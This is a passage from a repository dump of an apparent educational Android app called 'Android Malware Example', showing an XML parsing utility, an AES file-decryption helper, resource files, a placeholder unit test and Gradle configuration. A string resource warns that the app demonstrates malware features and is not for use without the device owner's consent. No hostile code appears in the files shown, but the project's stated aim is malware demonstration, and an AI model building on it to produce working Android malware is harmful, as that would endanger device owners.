--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/XmlUtils.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 | /*
23 | * Developer : Darryl Burke (darrylb@burke-consulting.net)
24 | * Date : 01/08/2012
25 | * All code (c)2012 Burke Consulting. all rights reserved
26 | */
27 |
28 | import android.util.Log;
29 |
30 | import org.w3c.dom.Document;
31 | import org.w3c.dom.Element;
32 | import org.w3c.dom.NamedNodeMap;
33 | import org.w3c.dom.Node;
34 | import org.w3c.dom.NodeList;
35 | import org.xml.sax.SAXException;
36 | import org.xmlpull.v1.XmlSerializer;
37 |
38 | import java.io.FileInputStream;
39 | import java.io.FileNotFoundException;
40 | import java.io.IOException;
41 | import java.io.InputStream;
42 |
43 | import javax.xml.parsers.DocumentBuilder;
44 | import javax.xml.parsers.DocumentBuilderFactory;
45 | import javax.xml.parsers.ParserConfigurationException;
46 |
47 |
48 | public class XmlUtils {
49 |
50 | public Document LoadXMLDoc(String doc) {
51 |
52 | // Log.i("NSCModule", "Loading Xml:" + doc);
53 |
54 | Document tmpdoc = null;
55 | InputStream _objdoc = null;
56 |
57 | try {
58 |
59 | _objdoc = new FileInputStream(doc);
60 |
61 | DocumentBuilderFactory doc_build_fact = DocumentBuilderFactory
62 | .newInstance();
63 | DocumentBuilder doc_builder = doc_build_fact
64 | .newDocumentBuilder();
65 |
66 | //Log.i("NSCModule", "PreParse Xml:");
67 |
68 | tmpdoc = doc_builder.parse(_objdoc);
69 |
70 | // Log.i("NSCModule", "PostParse Xml:");
71 |
72 | } catch (FileNotFoundException e) {
73 | Log.i("LMSModule", "XML Load Exception:" + e.toString());
74 |
75 | // TODO Auto-generated catch block
76 | // return tmpdoc;
77 | } catch (ParserConfigurationException e) {
78 | Log.i("LMSModule", "XML Load Exception:" + e.toString());
79 |
80 | // TODO Auto-generated catch block
81 | // e.printStackTrace();
82 | } catch (SAXException e) {
83 | Log.i("LMSModule", "XML Load Exception:" + e.toString());
84 |
85 | // TODO Auto-generated catch block
86 | // e.printStackTrace();
87 | } catch (IOException e) {
88 | Log.i("LMSModule", "XML Load Exception:" + e.toString());
89 |
90 | // TODO Auto-generated catch block
91 | // e.printStackTrace();
92 | }
93 | return tmpdoc;
94 |
95 | }
96 |
97 |
98 | public String getAttr(Element node, String attr) {
99 | return getAttr((Node) node, attr);
100 | }
101 |
102 | public String getAttr(Node node, String attr) {
103 | NamedNodeMap Attrs = node.getAttributes();
104 |
105 | Node _Desc = (Node) Attrs.getNamedItem(attr);
106 | // Log.i("FF:","Attr["+_Desc.getNodeName()+"]"+_Desc.getNodeValue());
107 | return (_Desc.getNodeValue());
108 | }
109 |
110 | public String getNodeAttr(NamedNodeMap attrnodes, String attr) {
111 | Node _Desc = (Node) attrnodes.getNamedItem(attr);
112 | String _d = _Desc.getNodeValue();
113 | return (_d);
114 | }
115 |
116 | public static Element getChildByName(Node e, String name) {
117 | return getChildByName((Element) e, name);
118 | }
119 |
120 | public static Element getChildByName(Element e, String name) {
121 | NodeList l = e.getChildNodes();
122 | if (l == null || l.getLength() == 0)
123 | return null; // not found
124 |
125 | for (int i = 0; i < l.getLength(); i++) {
126 | Node n = l.item(i);
127 | if ((n instanceof Element) && n.getNodeName().equals(name))
128 | return (Element) n;
129 | }
130 | return null; // not found
131 | }
132 |
133 | public static String getInnerNodeText(Node e) {
134 |
135 | return (getInnerText((Element) e));
136 | }
137 |
138 | public static String getInnerText(Node _a) {
139 | NodeList l = _a.getChildNodes();
140 | if (l == null || l.getLength() == 0)
141 | return ""; // / empty
142 |
143 | int idx = 0;
144 | while (idx < l.getLength()) {
145 | if (l.item(idx).getNodeType() == Node.TEXT_NODE)
146 | return l.item(idx).getNodeValue();
147 | idx++;
148 | }
149 | return ""; // no #text node found, so return empty string
150 | }
151 |
152 | public static void setInnerTextNode(Node e, String val) {
153 | NodeList l = e.getChildNodes();
154 | if (l != null && l.getLength() > 0) {
155 | int idx = 0;
156 | while (idx < l.getLength()) {
157 | Node n = l.item(idx);
158 | if (n.getNodeType() == Node.TEXT_NODE) {
159 | // n.setNodeValue(val); // this isn't changing value!!
160 | Node text = e.getOwnerDocument().createTextNode(val);
161 | e.replaceChild(text, n);
162 | return;
163 | }
164 | idx++;
165 | }
166 | }
167 | // no #text Node, so create one
168 | Node text = e.getOwnerDocument().createTextNode(val);
169 | e.appendChild(text);
170 | }
171 |
172 | public static void setInnerText(Element e, String val) {
173 | NodeList l = e.getChildNodes();
174 | if (l != null && l.getLength() > 0) {
175 | int idx = 0;
176 | while (idx < l.getLength()) {
177 | Node n = l.item(idx);
178 | if (n.getNodeType() == Node.TEXT_NODE) {
179 | // n.setNodeValue(val); // this isn't changing value!!
180 | Node text = e.getOwnerDocument().createTextNode(val);
181 | e.replaceChild(text, n);
182 | return;
183 | }
184 | idx++;
185 | }
186 | }
187 | // no #text Node, so create one
188 | Node text = e.getOwnerDocument().createTextNode(val);
189 | e.appendChild(text);
190 | }
191 |
192 | public static void writeElementTo(Element e, XmlSerializer s)
193 | throws IOException {
194 | s.startTag("", e.getNodeName());
195 | if (e.hasAttributes()) {
196 | NamedNodeMap m = e.getAttributes();
197 | for (int i = 0; i < m.getLength(); i++) {
198 | Node n = m.item(i);
199 | s.attribute("", n.getNodeName(), n.getNodeValue());
200 | }
201 | }
202 | if (e.hasChildNodes()) {
203 | NodeList kids = e.getChildNodes();
204 | for (int i = 0; i < kids.getLength(); i++) {
205 | Node n = kids.item(i);
206 | if (n.getNodeType() == Node.ELEMENT_NODE)
207 | writeElementTo((Element) n, s); // recursively write child
208 | // element
209 | else if (n.getNodeType() == Node.TEXT_NODE) {
210 | s.text(n.getNodeValue());
211 | }
212 | }
213 | }
214 |
215 | s.endTag("", e.getNodeName());
216 | }
217 |
218 | }
219 |
220 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/decrypt.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 |
24 | import java.io.FileInputStream;
25 | import java.io.FileNotFoundException;
26 | import java.io.FileOutputStream;
27 | import java.io.IOException;
28 | import java.security.InvalidKeyException;
29 | import java.security.NoSuchAlgorithmException;
30 | import java.security.SecureRandom;
31 |
32 | import javax.crypto.Cipher;
33 | import javax.crypto.CipherInputStream;
34 | import javax.crypto.CipherOutputStream;
35 | import javax.crypto.KeyGenerator;
36 | import javax.crypto.NoSuchPaddingException;
37 | import javax.crypto.SecretKey;
38 | import javax.crypto.spec.SecretKeySpec;
39 |
40 |
41 |
42 |
43 |
44 |
45 | public class decrypt {
46 |
47 |
48 |
49 | public void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException,
50 | NoSuchPaddingException, InvalidKeyException {
51 | FileInputStream fis = new FileInputStream(ifile);
52 |
53 | FileOutputStream fos = new FileOutputStream(ofile);
54 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(),
55 | "AES");
56 | Cipher cipher = Cipher.getInstance("AES");
57 | cipher.init(Cipher.DECRYPT_MODE, sks);
58 | CipherInputStream cis = new CipherInputStream(fis, cipher);
59 | int b;
60 | byte[] d = new byte[8];
61 | while ((b = cis.read(d)) != -1) {
62 | fos.write(d, 0, b);
63 | }
64 | fos.flush();
65 | fos.close();
66 | cis.close();
67 | }
68 |
69 |
70 | }
71 |
72 |
73 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/malware.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/drawable/malware.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/notification_warning.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/drawable/notification_warning.png
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_camera.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
17 |
18 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
11 |
12 |
21 |
22 |
30 |
31 |
39 |
40 |
49 |
50 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/values-w820dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 64dp
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | MalwareExample
3 | MalwareService
4 | Warning: This program is intended as an example of the features possible for android malware. It is not intended to be used in the wild or without the express consent of the device owner/operator. Use at your own risk
5 |
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/src/test/java/com/burke_consulting/malwareexample/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.burke_consulting.malwareexample;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * To work on unit tests, switch the Test Artifact in the Build Variants view.
9 | */
10 | public class ExampleUnitTest {
11 | @Test
12 | public void addition_isCorrect() throws Exception {
13 | assertEquals(4, 2 + 2);
14 | }
15 | }
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 | repositories {
5 | jcenter()
6 | }
7 | dependencies {
8 | classpath 'com.android.tools.build:gradle:2.1.2'
9 |
10 | // NOTE: Do not place your application dependencies here; they belong
11 | // in the individual module build.gradle files
12 | }
13 | }
14 |
15 | allprojects {
16 | repositories {
17 | jcenter()
18 | }
19 | }
20 |
21 | task clean(type: Delete) {
22 | delete rootProject.buildDir
23 | }
24 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 |
3 | # IDE (e.g. Android Studio) users:
4 | # Gradle settings configured through the IDE *will override*
5 | # any settings specified in this file.
6 |
7 | # For more details on how to configure your build environment visit
8 | # http://www.gradle.org/docs/current/userguide/build_environment.html
9 |
10 | # Specifies the JVM arguments used for the daemon process.
11 | # The setting is particularly useful for tweaking memory settings.
12 | # Default value: -Xmx10248m -XX:MaxPermSize=256m
13 | # org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8
14 |
15 | # When configured, Gradle will run in incubating parallel mode.
16 | # This option should only be used with decoupled projects. More details, visit
17 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
18 | # org.gradle.parallel=true
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Mon Dec 28 10:00:20 PST 2015
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.10-all.zip
7 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------